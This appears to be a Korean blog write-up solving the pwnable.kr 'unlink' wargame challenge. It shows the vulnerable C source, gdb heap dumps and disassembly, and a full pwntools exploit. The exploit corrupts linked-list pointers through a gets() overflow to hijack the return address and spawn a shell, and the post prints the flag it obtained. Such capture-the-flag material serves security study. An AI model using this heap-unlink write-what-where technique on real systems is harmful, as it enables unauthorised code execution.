728x90
반응형

unlink - 10 pt

Daddy! how can I exploit unlink corruption?


ssh unlink@pwnable.kr -p2222 (pw: guest)



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;
 
void shell(){
    system("/bin/sh");
}
 
void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));
 
    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;
 
    printf("here is stack address leak: %p\n"&A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);
 
    // exploit this unlink!
    unlink(B);
    return 0;
}
 
cs



(gdb) b *main+195

Breakpoint 1 at 0x80485f2

(gdb) r

Starting program: /home/unlink/unlink 

here is stack address leak: 0xffd18214

here is heap address leak: 0x94c2410

now that you have leaks, get shell!

AAAA


Breakpoint 1, 0x080485f2 in main ()

(gdb) x/16wx 0x94c2410

0x94c2410: 0x094c2428 0x00000000 0x41414141 0x00000000

0x94c2420: 0x00000000 0x00000019 0x094c2440 0x094c2410

0x94c2430: 0x00000000 0x00000000 0x00000000 0x00000019

0x94c2440: 0x00000000 0x094c2428 0x00000000 0x00000000


unlink()를 하기 전의 힙 구조입니다.


A의 fd -> B


B의 fd -> C , B의 bk -> A


C의 bk -> B


A <-> B <-> C 이러한 구조를 가지고 있다. gets()로 입력을 받기 때문에, B의 fd, bk 주소를 덮어 쓸 수 있다.



(gdb) x/16wx 0x94c2410

0x94c2410: 0x094c2440 0x00000000 0x41414141 0x00000000

0x94c2420: 0x00000000 0x00000019 0x094c2440 0x094c2410

0x94c2430: 0x00000000 0x00000000 0x00000000 0x00000019

0x94c2440: 0x00000000 0x094c2410 0x00000000 0x00000000


unlink(B) 가 실행되면, A <-> C가 된다.



(gdb) disas unlink

Dump of assembler code for function unlink:

   0x08048504 <+0>: push   ebp

   0x08048505 <+1>: mov    ebp,esp

   0x08048507 <+3>: sub    esp,0x10

   0x0804850a <+6>: mov    eax,DWORD PTR [ebp+0x8]

   0x0804850d <+9>: mov    eax,DWORD PTR [eax+0x4]

   0x08048510 <+12>: mov    DWORD PTR [ebp-0x4],eax

   0x08048513 <+15>: mov    eax,DWORD PTR [ebp+0x8]

   0x08048516 <+18>: mov    eax,DWORD PTR [eax]

   0x08048518 <+20>: mov    DWORD PTR [ebp-0x8],eax

   0x0804851b <+23>: mov    eax,DWORD PTR [ebp-0x8]

   0x0804851e <+26>: mov    edx,DWORD PTR [ebp-0x4]

   0x08048521 <+29>: mov    DWORD PTR [eax+0x4],edx

   0x08048524 <+32>: mov    eax,DWORD PTR [ebp-0x4]

   0x08048527 <+35>: mov    edx,DWORD PTR [ebp-0x8]

   0x0804852a <+38>: mov    DWORD PTR [eax],edx

   0x0804852c <+40>: nop

   0x0804852d <+41>: leave  

   0x0804852e <+42>: ret    


mov [B의 fd + 0x4], B의 bk
mov [B의 bk], B의 fd

이를 이용해서 esp주소에 shell()을 넣고 싶었는데, 반대로도 shell()+0x4에 esp주소가 들어가서 이렇게는 못푼다.


main의 에필로그를 보면,

   0x080485f2 <+195>: call   0x8048504 <unlink>
   0x080485f7 <+200>: add    esp,0x10
   0x080485fa <+203>: mov    eax,0x0
   0x080485ff <+208>: mov    ecx,DWORD PTR [ebp-0x4]
   0x08048602 <+211>: leave  
   0x08048603 <+212>: lea    esp,[ecx-0x4]
   0x08048606 <+215>: ret


((ebp-0x4에 있는 값) - 0x4)을 ret한다.

shell()의 주소를 ret하도록 해야한다.


shell()의 주소를 heap A에 입력할 것이다.


그럼 esp가 heap address + 8이 되어야 하고

ecx는 heap address +12 이어야 하고

이 값이 [ebp-0x4]에 있어야 한다.


[ebp-0x4]에 heap address +12가 들어가도록 하면 된다.


(gdb) disas shell

Dump of assembler code for function shell:

   0x080484eb <+0>: push   ebp

   0x080484ec <+1>: mov    ebp,esp


here is stack address leak: 0xffba0d44
here is heap address leak: 0x9ab4410
now that you have leaks, get shell!
SSSSAAAAAAAAAAAAsssseeee

Program received signal SIGSEGV, Segmentation fault.
0x08048521 in unlink ()
(gdb) x/16wx 0x9ab4410
0x9ab4410: 0x09ab4428 0x00000000 0x53535353 0x41414141
0x9ab4420: 0x41414141 0x41414141 0x73737373 0x65656565
0x9ab4430: 0x00000000 0x00000000 0x00000000 0x00000019
0x9ab4440: 0x00000000 0x09ab4428 0x00000000 0x00000000

SSSS shell()주소
ssss heap+12
eeee ebp-4
가 들어가도록 익스를 짜주면 된다.

stack address에서 ebp의 거리를 구해보자

(gdb) b *main+208
Breakpoint 1 at 0x80485ff
(gdb) r
Starting program: /home/unlink/unlink 
here is stack address leak: 0xffcdfea4
here is heap address leak: 0x8dbd410
now that you have leaks, get shell!
aaaa

Breakpoint 1, 0x080485ff in main ()
(gdb) i r $ebp
ebp            0xffcdfeb8 0xffcdfeb8
(gdb) p 0xffcdfeb8 - 0xffcdfea4
$1 = 20

이제 익스하자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
 
= ssh(user='unlink',host='pwnable.kr',port=2222,password='guest')
= s.process("./unlink")
 
p.recvuntil("here is stack address leak: ")
stack_addr = int(p.recvline().strip(),16)
ebp = stack_addr+20
 
p.recvuntil("here is heap address leak: ")
heap_addr = int(p.recvline().strip(),16)
log.info("stack : "+hex(stack_addr))
log.info("heap  : "+hex(heap_addr))
p.recvline()
shell = 0x80484eb
 
payload = p32(shell)
payload += "A"*12
payload += p32(heap_addr+12)
payload += p32(ebp-4)
 
p.sendline(payload)
 
p.interactive()
cs



mandu@mandu-VirtualBox:~/ex_pwn$ python local_remote.py 

[+] Connecting to pwnable.kr on port 2222: Done

[*] unlink@pwnable.kr:

    Distro    Ubuntu 16.04

    OS:       linux

    Arch:     amd64

    Version:  4.10.0

    ASLR:     Enabled

[+] Starting remote process './unlink' on pwnable.kr: pid 11044

[*] stack : 0xffdf08b4

[*] heap  : 0x98a0410

[*] Switching to interactive mode

$ $ cat flag

conditional_write_what_where_from_unl1nk_explo1t


728x90
반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [horcruxes] 풀이  (0) 2019.02.25
pwnable.kr [blukat] 풀이  (0) 2019.02.24
pwnable.kr [asm] 풀이  (0) 2018.06.13
pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [uaf] 풀이  (1) 2018.06.11

+ Recent posts